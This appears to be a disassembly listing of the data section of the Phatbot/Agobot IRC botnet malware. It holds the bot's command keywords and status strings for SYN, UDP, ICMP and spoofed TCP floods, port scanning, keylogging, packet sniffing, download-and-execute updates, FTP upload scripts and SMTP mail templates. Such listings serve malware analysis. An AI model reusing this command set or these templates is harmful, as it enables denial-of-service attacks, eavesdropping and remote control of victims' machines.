; DATA XREF: sub_401ACD+7074o
dd 25203A29h, 73h
dword_42A46C dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h
; DATA XREF: sub_401ACD+7005o
dd 203A2973h, 7325h
dword_42A488 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FAAo
dword_42A490 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh
; DATA XREF: sub_401ACD+6F7Ao
dd 203A2973h, 7325h
dword_42A4AC dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F01o
dword_42A4B8 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECFo
; sub_401ACD+6F58o ...
dword_42A4C0 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E96o
dword_42A4C8 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E85o
aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0
align 4
dword_42A504 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E16o
aFloodingSForSS db '- Flooding %s for %s seconds.',0
align 10h
unk_42A530 db 2Dh ; - ; DATA XREF: sub_401ACD+6D86o
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Bo
db 3, 34h, 2
db 74h ; t
db 73h, 75h, 6Eh
db 61h ; a
db 6Dh, 69h, 2
db 3
aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0
unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408746o
db 3, 34h, 2
db 6Dh ; m
db 61h, 69h, 6Eh
db 2
db 3, 2Dh, 20h
aRepeatNotAllow db 'Repeat not allowed in command line: %s',0
align 4
dword_42A5D4 dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h
; DATA XREF: sub_401ACD+6C3Eo
dd 7325h
dword_42A5EC dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h
; DATA XREF: sub_401ACD:loc_408674o
dword_42A600 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B63o
; sub_401ACD+6C15o ...
dword_42A610 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D1o
aBotIdMustBeDif db '- Bot ID must be different than current running process.',0
align 4
dword_42A658 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AFAo
aFailedToStartD db '- Failed to start download thread, error: <%d>.',0
dword_42A694 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Bo
aDownloadingUpd db '- Downloading update from: %s.',0
align 10h
aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E3o
align 4
dword_42A6CC dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h
; DATA XREF: sub_401ACD+6981o
dd 7325203Ah, 0
unk_42A6E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6976o
db 3, 34h, 2
db 65h ; e
db 78h, 65h, 63h
db 2
db 3, 2Dh, 20h
aCouldnTExecute db 'Couldn',27h,'t execute file.',0
align 4
unk_42A70C db 2Dh ; - ; DATA XREF: sub_401ACD+68DCo
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0
unk_42A748 db 2Dh ; - ; DATA XREF: sub_401ACD+6866o
db 3, 34h, 2
db 66h ; f
db 69h, 6Eh, 64h
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aSearchingForFi db 'Searching for file: %s in: %s.',0
align 4
dword_42A778 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Co
; sub_401ACD:loc_409367o
unk_42A784 db 2Dh ; - ; DATA XREF: sub_401ACD+678Ao
db 3, 34h, 2
db 66h ; f
db 69h, 6Ch, 65h
db 2
db 3, 2Dh, 20h
aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0
align 4
unk_42A7A8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408235o
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0
align 10h
unk_42A7E0 db 2Dh ; - ; DATA XREF: sub_401ACD+675Eo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A818 db 2Dh ; - ; DATA XREF: sub_401ACD+66EEo
db 3, 34h, 2
db 69h ; i
db 63h, 6Dh, 70h
db 2
db 3, 2Dh, 20h
aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0
align 4
dword_42A844 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Bo
aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0
align 10h
dword_42A880 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FCo
aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0
align 10h
unk_42A8B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6583o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A8E8 db 2Dh ; - ; DATA XREF: sub_401ACD+6514o
db 3, 34h, 2
db 64h ; d
db 64h, 6Fh, 73h
db 2
db 3, 2Dh, 20h
aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0
align 4
unk_42A918 db 2Dh ; - ; DATA XREF: sub_401ACD+648Ao
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0
align 10h
unk_42A950 db 2Dh ; - ; DATA XREF: sub_401ACD+641Bo
db 3, 34h, 2
db 73h ; s
db 79h, 6Eh, 2
db 3
aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0
align 10h
unk_42A980 db 2Dh ; - ; DATA XREF: sub_401ACD+63A2o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0
align 4
unk_42A9B8 db 2Dh ; - ; DATA XREF: sub_401ACD+6333o
db 3, 34h, 2
db 77h ; w
db 6Fh, 6Eh, 6Bh
db 2
db 3, 2Dh, 20h
aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0
align 4
unk_42A9F4 db 2Dh ; - ; DATA XREF: sub_401ACD+62BAo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0
align 4
unk_42AA34 db 2Dh ; - ; DATA XREF: sub_401ACD+624Bo
db 3, 34h, 2
db 64h ; d
db 6Fh, 77h, 6Eh
db 6Ch ; l
db 6Fh, 61h, 64h
db 2
db 3, 2Dh, 20h
aDownloadingUrl db 'Downloading URL: %s to: %s.',0
unk_42AA60 db 2Dh ; - ; DATA XREF: sub_401ACD+617Co
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0
align 4
unk_42AAA4 db 2Dh ; - ; DATA XREF: sub_401ACD+610Do
db 3, 34h, 2
db 72h ; r
db 65h, 64h, 69h
db 72h ; r
db 65h, 63h, 74h
db 2
db 3, 2Dh, 20h
aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0
unk_42AAE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6010o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0
align 4
aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F64o
align 4
aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E87o
align 4
dword_42AB3C dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF3o
; sub_401ACD+715Bo
unk_42AB48 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Fo
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42AB84 db 2Dh ; - ; DATA XREF: sub_401ACD+5D20o
db 3, 34h, 2
db 70h ; p
db 6Fh, 72h, 74h
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0
align 4
unk_42ABD4 db 2Dh ; - ; DATA XREF: sub_401ACD+5C89o
; sub_401ACD+607Fo
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0
align 4
unk_42AC0C db 2Dh ; - ; DATA XREF: sub_401ACD+5C1Ao
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m'
db 'inutes using %d threads.',0
align 4
unk_42AC74 db 2Dh ; - ; DATA XREF: sub_401ACD+5AA4o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToStar_9 db 'Failed to start scan, no IP specified.',0
align 4
unk_42ACA8 db 2Dh ; - ; DATA XREF: sub_401ACD+5A47o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aFailedToSta_10 db 'Failed to start scan, port is invalid.',0
align 4
unk_42ACDC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F4o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFileS db '- Uploading file: %s to: %s failed.',0
align 4
unk_42AD0C db 2Dh ; - ; DATA XREF: sub_401ACD+5920o
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aUploadingFil_0 db '- Uploading file: %s to: %s',0
align 4
aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5907o
aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58F0o
align 4
aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CDo
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db 'put %s',0Dh,0Ah
db 'bye',0Dh,0Ah,0
align 4
aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A9o
; ___:00411C62o
align 4
aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5898o
align 4
unk_42AD7C db 2Dh ; - ; DATA XREF: sub_401ACD+584Eo
db 3, 34h, 2
db 66h ; f
db 74h, 70h, 2
db 3
aFileNotFoundS_ db '- File not found: %s.',0
align 4
aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Bo
align 4
unk_42ADA4 db 2Dh ; - ; DATA XREF: sub_401ACD+57F5o
db 3, 34h, 2
db 73h ; s
db 63h, 61h, 6Eh
db 2
db 3, 2Dh, 20h
aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0
align 4
unk_42ADE4 db 2Dh ; - ; DATA XREF: sub_401ACD+5798o
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42AE1C db 2Dh ; - ; DATA XREF: sub_401ACD+572Do
db 3, 34h, 2
db 75h ; u
db 64h, 70h, 2
db 3
aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0
align 4
unk_42AE64 db 2Dh ; - ; DATA XREF: sub_401ACD+567Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aMessageHasBeen db '- Message has been sent successfuly',0
align 4
unk_42AE98 db 2Dh ; - ; DATA XREF: sub_401ACD+5648o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aFailedToSendMe db '- Failed to send message, error <%i>.',0
align 4
unk_42AECC db 2Dh ; - ; DATA XREF: sub_401ACD+5624o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aNetsendDoesNot db '- NetSend does not work on Win9x systems',0
align 4
unk_42AF04 db 2Dh ; - ; DATA XREF: sub_401ACD+5582o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 73h
db 65h ; e
db 6Eh, 64h, 2
db 3
aSendingMessage db '- Sending message %s times to %s using name %s',0
aIcmp_dllNotAva db 'ICMP.dll not available',0 ; DATA XREF: sub_401ACD+5565o
align 4
unk_42AF58 db 2Dh ; - ; DATA XREF: sub_401ACD+5550o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aFailedToSta_12 db 'Failed to start flood thread, error: <%d>.',0
align 10h
unk_42AF90 db 2Dh ; - ; DATA XREF: sub_401ACD+54E1o
db 3, 34h, 2
db 70h ; p
db 69h, 6Eh, 67h
db 2
db 3, 2Dh, 20h
aSendingDPingsT db 'Sending %d pings to %s. packet size: %d, timeout: %d(ms).',0
align 4
unk_42AFD8 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406F00o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFlood_0 db '- Invalid flood time must be greater than 0.',0
align 10h
unk_42B010 db 2Dh ; - ; DATA XREF: sub_401ACD+5429o
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aFailedToSta_13 db '- Failed to start flood thread, error: <%d>.',0
align 4
unk_42B048 db 2Dh ; - ; DATA XREF: sub_401ACD+53AFo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aSSFloodingSSFo db '- %s %s flooding: (%s:%s) for %s seconds.',0
align 4
aNormal db 'Normal',0 ; DATA XREF: sub_401ACD+539Fo
align 4
aSpoofed db 'Spoofed',0 ; DATA XREF: sub_401ACD+5398o
unk_42B08C db 2Dh ; - ; DATA XREF: sub_401ACD+52FDo
db 3, 34h, 2
db 74h ; t
db 63h, 70h, 2
db 3
aInvalidFloodTy db '- Invalid flood type specified.',0
align 4
aRandom_0 db 'random',0 ; DATA XREF: sub_401ACD+52EDo
align 10h
aAck db 'ack',0 ; DATA XREF: sub_401ACD+52D6o
aHcon db 'hcon',0 ; DATA XREF: sub_401ACD+5260o
align 4
aHttpcon db 'httpcon',0 ; DATA XREF: sub_401ACD+524Do
unk_42B0D4 db 2Dh ; - ; DATA XREF: sub_401ACD+51FEo
db 3, 34h, 2
db 65h ; e
db 6Dh, 61h, 69h
db 6Ch ; l
db 2, 3, 2Dh
aMessageSentToS db ' Message sent to %s.',0
align 4
aHeloRndnickMai db 'helo $rndnick',0Ah ; DATA XREF: sub_401ACD+518Ao
db 'mail from: <%s>',0Ah
db 'rcpt to: <%s>',0Ah
db 'data',0Ah
db 'subject: %s',0Ah
db 'from: %s',0Ah
db '%s',0Ah
db '.',0Ah,0
aEmail db 'email',0 ; DATA XREF: sub_401ACD+509Fo
align 4
aTcp db 'tcp',0 ; DATA XREF: sub_401ACD+5088o
aTcpflood db 'tcpflood',0 ; DATA XREF: sub_401ACD+5071o
align 4
aP: ; DATA XREF: sub_401ACD+505Ao
; ___:00438308o ...
unicode 0, <p>,0
aPing_0 db 'ping',0 ; DATA XREF: sub_401ACD+5043o
align 4
aPingflood db 'pingflood',0 ; DATA XREF: sub_401ACD+502Co
align 4
aNs db 'ns',0 ; DATA XREF: sub_401ACD+5015o
align 4
aNetsend db 'netsend',0 ; DATA XREF: sub_401ACD+4FFEo
aU: ; DATA XREF: sub_401ACD+4FE7o
; ___:00438300o ...
unicode 0, <u>,0
aUdp db 'udp',0 ; DATA XREF: sub_401ACD+4FD0o
aUdpflood db 'udpflood',0 ; DATA XREF: sub_401ACD+4FB9o
align 4
aAdv db 'adv',0 ; DATA XREF: sub_401ACD+4FA2o
aAdvscan db 'advscan',0 ; DATA XREF: sub_401ACD+4F8Bo
aPsc db 'psc',0 ; DATA XREF: sub_401ACD+4F74o
aPortscan db 'portscan',0 ; DATA XREF: sub_401ACD+4F5Do
align 10h
aC_a db 'c_a',0 ; DATA XREF: sub_401ACD+4F37o
aC_action db 'c_action',0 ; DATA XREF: sub_401ACD+4F20o
align 10h
aC_pm db 'c_pm',0 ; DATA XREF: sub_401ACD+4F09o
align 4
aC_privmsg db 'c_privmsg',0 ; DATA XREF: sub_401ACD+4EF2o
align 4
aSc db 'sc',0 ; DATA XREF: sub_401ACD+4EDBo
align 4
aScan db 'scan',0 ; DATA XREF: sub_401ACD+4EC4o
align 10h
aRd db 'rd',0 ; DATA XREF: sub_401ACD+4EADo
align 4
aRedirect db 'redirect',0 ; DATA XREF: sub_401ACD+4E96o
align 10h
aJpl10 db 'jpl10',0 ; DATA XREF: sub_401ACD+4E7Fo
align 4
aJpldg10 db 'jpldg10',0 ; DATA XREF: sub_401ACD+4E68o
aWonk db 'wonk',0 ; DATA XREF: sub_401ACD+4E51o
align 4
aPhatwonk db 'phatwonk',0 ; DATA XREF: sub_401ACD+4E3Ao
align 4
dword_42B214 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4E2Do
aFailedToSta_14 db '- Failed to start flood thread, error: <%d>.',0
align 10h
dword_42B250 dd 234032Dh, 73796B73h, 3026E79h ; DATA XREF: sub_401ACD+4DBEo
aFloodingSSFo_1 db '- Flooding: (%s:%s) for %s seconds.',0
aSkysyn db 'skysyn',0 ; DATA XREF: sub_401ACD+4D3Bo
align 4
aSyn db 'syn',0 ; DATA XREF: sub_401ACD+4D24o
; sub_401ACD+52BEo
aSynflood db 'synflood',0 ; DATA XREF: sub_401ACD+4D0Do
align 4
unk_42B298 db 2Dh ; - ; DATA XREF: sub_401ACD+4D00o
db 3, 34h, 2
db 77h ; w
db 69h, 73h, 64h
db 6Fh ; o
db 6Dh, 28h, 75h
db 64h ; d
db 70h, 29h, 2
db 3
aFailedToSta_15 db '- Failed to start flood thread, error: <%d>.',0
align 4
aWisdom_udp db 'wisdom.udp',0 ; DATA XREF: sub_401ACD+4C29o
align 4
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_401ACD+4C12o
; sub_412B09:loc_412C35o
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_401ACD+4BFBo
; sub_412B09:loc_412C19o
align 4
aDdos_syn db 'ddos.syn',0 ; DATA XREF: sub_401ACD+4BE4o
; sub_412B09+F1o
align 4
aC: ; DATA XREF: sub_401ACD+4BCDo
; ___:00438338o ...
unicode 0, <c>,0
aClone_0 db 'clone',0 ; DATA XREF: sub_401ACD+4BB6o
align 4
aIcmp db 'icmp',0 ; DATA XREF: sub_401ACD+4B8Do
align 4
aIcmpflood db 'icmpflood',0 ; DATA XREF: sub_401ACD+4B76o
align 4
aMv db 'mv',0 ; DATA XREF: sub_401ACD+4B5Fo
align 4
aRename db 'rename',0 ; DATA XREF: sub_401ACD+4B48o
align 4
aFf db 'ff',0 ; DATA XREF: sub_401ACD+4B31o
align 4
aFindfile db 'findfile',0 ; DATA XREF: sub_401ACD+4B1Ao
align 4
aE: ; DATA XREF: sub_401ACD+4B03o
; ___:004382F0o ...
unicode 0, <e>,0
aExecute db 'execute',0 ; DATA XREF: sub_401ACD+4AECo
aJp10 db 'jp]10',0 ; DATA XREF: sub_401ACD+4AD5o
align 4
aJpDe10 db 'jp]de10',0 ; DATA XREF: sub_401ACD+4ABEo
aDe db 'de',0 ; DATA XREF: sub_401ACD+4AA7o
align 4
aDelay db 'delay',0 ; DATA XREF: sub_401ACD+4A90o
align 4
aRp db 'rp',0 ; DATA XREF: sub_401ACD+4A79o
align 10h
aRepeat db 'repeat',0 ; DATA XREF: sub_401ACD+4A62o
; sub_401ACD+6BE8o
align 4
aTsn db 'tsn',0 ; DATA XREF: sub_401ACD+4A4Bo
aTsunami db 'tsunami',0 ; DATA XREF: sub_401ACD+4A34o
aT3 db 't3',0 ; DATA XREF: sub_401ACD+4A1Do
align 4
aTarga3 db 'targa3',0 ; DATA XREF: sub_401ACD+4A06o
align 10h
aC_p db 'c_p',0 ; DATA XREF: sub_401ACD+49EFo
aC_part db 'c_part',0 ; DATA XREF: sub_401ACD+49D8o
align 4
aC_j db 'c_j',0 ; DATA XREF: sub_401ACD+49C1o
aC_join db 'c_join',0 ; DATA XREF: sub_401ACD+49AAo
align 4
aC_n db 'c_n',0 ; DATA XREF: sub_401ACD+4993o
aC_nick db 'c_nick',0 ; DATA XREF: sub_401ACD+497Co
align 4
aC_m db 'c_m',0 ; DATA XREF: sub_401ACD+4965o
aC_mode db 'c_mode',0 ; DATA XREF: sub_401ACD+494Eo
align 10h
aC_r db 'c_r',0 ; DATA XREF: sub_401ACD+4937o
aC_raw db 'c_raw',0 ; DATA XREF: sub_401ACD+4920o
align 4
aM: ; DATA XREF: sub_401ACD+4909o
; ___:00438348o ...
unicode 0, <m>,0
aCy db 'cy',0 ; DATA XREF: sub_401ACD+48DBo
align 4
aCycle db 'cycle',0 ; DATA XREF: sub_401ACD+48C4o
align 4
aA: ; DATA XREF: sub_401ACD+48ADo
; ___:0043830Co
unicode 0, <a>,0
aAction db 'action',0 ; DATA XREF: sub_401ACD+4896o
align 4
aPrivmsg_0 db 'privmsg',0 ; DATA XREF: sub_401ACD+4868o
aAa db 'aa',0 ; DATA XREF: sub_401ACD+4851o
align 4
aAddalias db 'addalias',0 ; DATA XREF: sub_401ACD+483Ao
align 10h
aKl db 'kl',0 ; DATA XREF: sub_401ACD+4823o
align 4
aKilllog db 'killlog',0 ; DATA XREF: sub_401ACD+480Co
aGh db 'gh',0 ; DATA XREF: sub_401ACD+47E3o
align 10h
aGethost db 'gethost',0 ; DATA XREF: sub_401ACD+47CEo
aCap db 'cap',0 ; DATA XREF: sub_401ACD+47B9o
aCapture db 'capture',0 ; DATA XREF: sub_401ACD+47A4o
unk_42B424 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406266o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aCommandUnknown db '- Command unknown.',0
unk_42B440 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40625Co
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aNoMessageSpeci db '- No message specified.',0
align 4
aSend db 'send',0 ; DATA XREF: sub_401ACD+475Fo
; sub_409B13+5F0o
align 4
unk_42B46C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40621Fo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListFailed db '- User list failed.',0
align 4
unk_42B48C db 2Dh ; - ; DATA XREF: sub_401ACD+4748o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aUserListComple db '- User list completed.',0
unk_42B4AC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_406194o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListFaile db '- Share list failed.',0
align 4
unk_42B4CC db 2Dh ; - ; DATA XREF: sub_401ACD+46BDo
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aShareListCompl db '- Share list completed.',0
align 10h
aShare db 'share',0 ; DATA XREF: sub_401ACD+466Fo
align 4
aContinue db 'continue',0 ; DATA XREF: sub_401ACD+462Bo
align 4
aPause db 'pause',0 ; DATA XREF: sub_401ACD+4611o
align 4
aStop db 'stop',0 ; DATA XREF: sub_401ACD+45F7o
align 4
unk_42B514 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4060B7o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListFai db '- Service list failed.',0
unk_42B534 db 2Dh ; - ; DATA XREF: sub_401ACD+45E0o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aServiceListCom db '- Service list completed.',0
align 4
aStart db 'start',0 ; DATA XREF: sub_401ACD+45AAo
align 10h
unk_42B560 db 2Dh ; - ; DATA XREF: sub_401ACD+4578o
db 3, 34h, 2
db 6Eh ; n
db 65h, 74h, 2
db 3
aFailedToLoadAd db '- Failed to load advapi32.dll or netapi32.dll.',0
aNet db 'net',0 ; DATA XREF: sub_401ACD+4554o
dword_42B59C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4549o
aFailedToStartL db '- Failed to start logging thread, error: <%d>.',0
align 4
dword_42B5D8 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+44DAo
aKeyLoggerActiv db '- Key logger active.',0
align 4
dword_42B5FC dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4458o
aAlreadyRunning db '- Already running.',0
align 4
dword_42B61C dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD:loc_405F0Fo
aNoKeyLoggerThr db '- No key logger thread found.',0
align 4
dword_42B648 dd 234032Dh, 6C79656Bh, 302676Fh ; DATA XREF: sub_401ACD+4438o
aKeyLoggerStopp db '- Key logger stopped. (%d thread(s) stopped.)',0
align 4
aFile db 'file',0 ; DATA XREF: sub_401ACD+43F9o
align 4
aKeylog db 'keylog',0 ; DATA XREF: sub_401ACD+43D7o
align 4
dword_42B694 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD:loc_405E99o
aNoThreadFound_ db '- No thread found.',0
align 4
dword_42B6B4 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+43C2o
aServerStopped_ db '- Server stopped. (%d thread(s) stopped.)',0
align 4
dword_42B6EC dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4392o
aFailedToSta_16 db '- Failed to start server, error: <%d>.',0
align 10h
dword_42B720 dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4345o
aServerRunnin_0 db '- Server running on Port: 113.',0
align 4
dword_42B74C dd 234032Dh, 6E656469h, 3026474h ; DATA XREF: sub_401ACD+4335o
aAlreadyRunni_0 db '- Already running.',0
align 4
aIdent db 'ident',0 ; DATA XREF: sub_401ACD+4302o
align 4
unk_42B774 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_405DC4o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aNoPhatbotSniff db '- No Phatbot sniffer thread found.',0
unk_42B7A4 db 2Dh ; - ; DATA XREF: sub_401ACD+42EDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotSniffer db '- Phatbot sniffer stopped. (%d thread(s) stopped.)',0
unk_42B7E4 db 2Dh ; - ; DATA XREF: sub_401ACD+42BDo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aFailedToSta_17 db '- Failed to start sniffer thread, error: <%d>.',0
unk_42B820 db 2Dh ; - ; DATA XREF: sub_401ACD+424Eo
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aPhatbotPacketS db '- Phatbot packet sniffer active.',0
align 10h
unk_42B850 db 2Dh ; - ; DATA XREF: sub_401ACD+41E7o
db 3, 34h, 2
db 73h ; s
db 6Eh, 69h, 66h
db 66h ; f
db 65h, 72h, 2
db 3
aAlreadyRunni_1 db '- Already running.',0
aSniffer db 'sniffer',0 ; DATA XREF: sub_401ACD+41B0o
dword_42B878 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD:loc_405C72o
aNoCarnivoreThr db '- No Carnivore thread found.',0
align 4
dword_42B8A4 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+419Bo
aCarnivoreStopp db '- Carnivore stopped. (%d thread(s) stopped.)',0
align 10h
dword_42B8E0 dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+416Bo
aFailedToSta_18 db '- Failed to start sniffer thread, error: <%d>.',0
align 4
dword_42B91C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+40FCo
aCarnivorePacke db '- Carnivore packet sniffer active.',0
align 4
dword_42B94C dd 234032Dh, 696E7370h, 3026666h ; DATA XREF: sub_401ACD+4095o
aAlreadyRunni_2 db '- Already running.',0
align 4
aOn db 'on',0 ; DATA XREF: sub_401ACD+4075o
; sub_401ACD+41C7o ...
align 10h
aPsniff db 'psniff',0 ; DATA XREF: sub_401ACD+405Eo
align 4
aRf db 'rf',0 ; DATA XREF: sub_401ACD+4049o
align 4
aReadfile db 'readfile',0 ; DATA XREF: sub_401ACD+4034o
align 4
aCm db 'cm',0 ; DATA XREF: sub_401ACD+401Fo
align 4
aCmd db 'cmd',0 ; DATA XREF: sub_401ACD+400Ao
